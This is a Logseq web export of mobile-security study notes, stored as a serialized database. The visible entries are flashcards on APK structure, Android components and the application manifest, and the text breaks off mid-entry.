Hosted-Notes/mobsec/index.html
2025-02-25 11:02:44 +01:00

64 lines
1 MiB
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!DOCTYPE html>
<head><meta charset="utf-8"></meta>
<meta content="minimum-scale=1, initial-scale=1, width=device-width, shrink-to-fit=no" name="viewport"></meta>
<link type="text/css" href="static/css/tabler-icons.min.css" rel="stylesheet"></link>
<link type="text/css" href="static/css/style.css" rel="stylesheet"></link>
<link type="text/css" href="static/css/custom.css" rel="stylesheet"></link>
<link type="text/css" href="static/css/export.css" rel="stylesheet"></link>
<link href="static/img/logo.png" type="image/png" rel="shortcut icon"></link>
<link href="static/img/logo.png" sizes="192x192" rel="shortcut icon"></link>
<link href="static/img/logo.png" rel="apple-touch-icon"></link>
<meta name="apple-mobile-web-app-title"></meta>
<meta name="apple-mobile-web-app-capable" content="yes"></meta>
<meta name="apple-touch-fullscreen" content="yes"></meta>
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"></meta>
<meta name="mobile-web-app-capable" content="yes"></meta>
<meta property="og:title"></meta>
<meta content="site" property="og:type"></meta>
<meta content="static/img/logo.png" property="og:image"></meta>
<meta property="og:description"></meta>
<title></title>
<meta property="og:site_name"></meta>
<meta></meta>
</head>
<body><div id="root"></div>
<script>window.logseq_db="[logseq____&quot;~#datascript/DBlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:schemalogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:ast/versionlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:file/contentlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/properties-text-valueslogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/aliaslogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:db/valueTypelogseq____&quot;,logseq____&quot;~:db.type/reflogseq____&quot;,logseq____&quot;~:db/cardinalitylogseq____&quot;,logseq____&quot;~:db.cardinality/manylogseq____&quot;],logseq____&quot;~:block/pre-block?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/uuidlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:db/uniquelogseq____&quot;,logseq____&quot;~:db.unique/identitylogseq____&quot;],logseq____&quot;~:block/prioritylogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/propertieslogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/journal?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/namespacelogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;],logseq____&quot;~:block/updated-atlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/repeated?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:db/typelogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:file/handlelogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/leftlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;~:db/indexlogseq____&quot;,true],logseq____&quot;~:block/refslogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^8logseq____&quot;,logseq____&quot;^9logseq____&quot;],logseq____&quot;~:block/scheduledlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/properties-orderlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/created-atlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/deadlinelogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/collapsed?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^Glogseq____&quot;,true],logseq____&quot;~:block/journal-daylogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/formatlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/tagslogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^8logseq____&quot;,logseq____&quot;^9logseq____&quot;],logseq____&quot;~:block/contentlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:recent/pageslogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/macroslogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^8logseq____&quot;,logseq____&quot;^9logseq____&quot;],logseq____&quot;~:db/identlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^logseq____&lt;logseq____&quot;,logseq____&quot;^=logseq____&quot;],logseq____&quot;~:block/path-refslogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^8logseq____&quot;,logseq____&quot;^9logseq____&quot;],logseq____&quot;~:block/parentlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^Glogseq____&quot;,true],logseq____&quot;~:block/typelogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/pagelogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;,logseq____&quot;^Glogseq____&quot;,true],logseq____&quot;~:block/namelogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^logseq____&lt;logseq____&quot;,logseq____&quot;^=logseq____&quot;],logseq____&quot;~:file/pathlogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^logseq____&lt;logseq____&quot;,logseq____&quot;^=logseq____&quot;],logseq____&quot;~:block/filelogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^6logseq____&quot;,logseq____&quot;^7logseq____&quot;],logseq____&quot;~:block/markerlogseq____&quot;,[logseq____&quot;^ logseq____&quot;],logseq____&quot;~:block/original-namelogseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^logseq____&lt;logseq____&quot;,logseq____&quot;^=logseq____&quot;],logseq____&quot;~:schema/versionlogseq____&quot;,[logseq____&quot;^ logseq____&quot;]],logseq____&quot;~:datomslogseq____&quot;,[logseq____&quot;~#listlogseq____&quot;,[[logseq____&quot;~#datascript/Datomlogseq____&quot;,[1,logseq____&quot;^12logseq____&quot;,2,536870913]],[logseq____&quot;^15logseq____&quot;,[2,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[2,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;cardlogseq____&quot;,536870913]],[logseq____&quot;^15logseq____&quot;,[2,logseq____&quot;^11logseq____&quot;,logseq____&quot;cardlogseq____&quot;,536870913]],[logseq____&quot;^15logseq____&quot;,[2,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u10e97fb1-089d-4f3a-8ff9-81eec78d457alogseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[3,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[3,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;canceledlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[3,logseq____&quot;^11logseq____&quot;,logseq____&quot;CANCELEDlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[3,logseq____&quot;^;logseq____&quot;,logseq____&quot;~ua912c8a3-9c3c-4346-9bf0-c906bf6426c2logseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[4,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[4,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;todologseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[4,logseq____&quot;^11logseq____&quot;,logseq____&quot;TODOlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[4,logseq____&quot;^;logseq____&quot;,logseq____&quot;~ua0dc4f23-f560-4e95-8ca5-05e540ac2f04logseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[5,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[5,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;nowlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[5,logseq____&quot;^11logseq____&quot;,logseq____&quot;NOWlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[5,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u4af8fe77-5b31-437d-a0fa-793865a87d56logseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[6,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[6,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;laterlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[6,logseq____&quot;^11logseq____&quot;,logseq____&quot;LATERlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[6,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u03178053-da72-4836-8f4e-b69b9855466dlogseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[7,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[7,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;donelogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[7,logseq____&quot;^11logseq____&quot;,logseq____&quot;DONElogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[7,logseq____&quot;^;logseq____&quot;,logseq____&quot;~ufcacdf25-a233-43b0-883b-e0d09007e384logseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[8,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[8,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;doinglogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[8,logseq____&quot;^11logseq____&quot;,logseq____&quot;DOINGlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[8,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u40aea316-3796-4c67-8534-61a2b05e985blogseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[9,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[9,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;in-progresslogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[9,logseq____&quot;^11logseq____&quot;,logseq____&quot;IN-PROGRESSlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[9,logseq____&quot;^;logseq____&quot;,logseq____&quot;~uf2368f28-9abe-4011-8bde-fb6398aafed1logseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[10,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[10,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;clogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[10,logseq____&quot;^11logseq____&quot;,logseq____&quot;Clogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[10,logseq____&quot;^;logseq____&quot;,logseq____&quot;~uaba5b869-0a39-43b7-a245-9b0f5c03249elogseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[11,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[11,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;blogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[11,logseq____&quot;^11logseq____&quot;,logseq____&quot;Blogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[11,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u149cdfa5-c613-40bf-8c18-045855291077logseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[12,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[12,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;contentslogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[12,logseq____&quot;^11logseq____&quot;,logseq____&quot;Contentslogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[12,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u53bb7585-bf4b-4325-a2b0-bd10f8f4551clogseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[13,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[13,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;waitinglogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[13,logseq____&quot;^11logseq____&quot;,logseq____&quot;WAITINGlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[13,logseq____&quot;^;logseq____&quot;,logseq____&quot;~ub6f5a990-8170-4ba0-8a3f-3b9e08ee258blogseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[14,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[14,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;favoriteslogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[14,logseq____&quot;^11logseq____&quot;,logseq____&quot;Favoriteslogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[14,logseq____&quot;^;logseq____&quot;,logseq____&quot;~uc3441a13-c1f1-4ed7-8f72-035c7d23bda3logseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[15,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[15,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;alogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[15,logseq____&quot;^11logseq____&quot;,logseq____&quot;Alogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[15,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u3a3851a7-be10-4c3c-9a98-b597e5dc4a17logseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[16,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[16,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;cancelledlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[16,logseq____&quot;^11logseq____&quot;,logseq____&quot;CANCELLEDlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[16,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u4a4558b6-7803-43fe-9d71-77c181c14beelogseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[17,logseq____&quot;^@logseq____&quot;,false,536870914]],[logseq____&quot;^15logseq____&quot;,[17,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;waitlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[17,logseq____&quot;^11logseq____&quot;,logseq____&quot;WAITlogseq____&quot;,536870914]],[logseq____&quot;^15logseq____&quot;,[17,logseq____&quot;^;logseq____&quot;,logseq____&quot;~ufb350d4f-e5c6-4672-9778-c2e4bc410cb8logseq____&quot;,536878159]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Ologseq____&quot;,logseq____&quot;~:markdownlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Flogseq____&quot;,12,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Xlogseq____&quot;,12,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Vlogseq____&quot;,12,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^Ulogseq____&quot;,12,536870916]],[logseq____&quot;^15logseq____&quot;,[21,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-a905-406b-b453-fad4fa5ed559logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;apk (android package)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^11logseq____&quot;,logseq____&quot;APK (Android Package)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[23,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-cc11-42a6-b5a7-e40030d94c6clogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^Klogseq____&quot;,1740128172076,536870916]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873716]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^11logseq____&quot;,logseq____&quot;android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^Blogseq____&quot;,1740128172076,536870916]],[logseq____&quot;^15logseq____&quot;,[24,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-1e3b-4bfe-a553-5df7a8be6cealogseq____&quot;,536876191]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;content provider componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^11logseq____&quot;,logseq____&quot;Content Provider Componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^Blogseq____&quot;,1740133423356,536872684]],[logseq____&quot;^15logseq____&quot;,[25,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b2e2-4556-b3ad-d901f35ed86clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;service componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^11logseq____&quot;,logseq____&quot;Service Componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[26,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-6aed-4111-b5a5-7cb84b2c4e3elogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;activity componentlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^11logseq____&quot;,logseq____&quot;Activity Componentlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[27,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9b90-43fb-90b5-27cf47cfe5c7logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;application manifestlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^11logseq____&quot;,logseq____&quot;Application Manifestlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^Blogseq____&quot;,1740129740002,536871584]],[logseq____&quot;^15logseq____&quot;,[28,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-49c1-4a2f-95c8-c6326cd8e41clogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Simply a *packaging format* (similar to `zip` or `jar`)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Flogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Vlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[29,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-c5ac-4c34-b494-6d145a75719dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Structure: #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Flogseq____&quot;,29,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Vlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:headinglogseq____&quot;,2],536873233]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Jlogseq____&quot;,[],536873233]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Hlogseq____&quot;,2,536873233]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^Hlogseq____&quot;,24,536873233]],[logseq____&quot;^15logseq____&quot;,[30,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-d8f0-4da3-b776-987482f63ce6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Components ([[Activity]], [[Service Components]], [[Content Provider]] etc.)logseq____&quot;,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Flogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Vlogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,25,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,27,536870916]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,411,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Ulogseq____&quot;,412,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Hlogseq____&quot;,26,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Hlogseq____&quot;,411,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^Hlogseq____&quot;,412,536873233]],[logseq____&quot;^15logseq____&quot;,[31,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-1606-4ab2-a422-d276e409c9d0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Native Code (`C`/`C++` shared libraries) that can be linked dynamically into the processlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Flogseq____&quot;,31,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Vlogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[32,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-d8ca-46d8-97ca-6ccb4a15e44dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Resources (images, strings)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Flogseq____&quot;,32,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Vlogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[33,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-eb74-464e-8b3c-33ebcf297a51logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`META-INF` (application certificate, package manifest)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Flogseq____&quot;,33,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Vlogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[34,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-3432-4b02-8517-ba4278b54aeelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[[Application 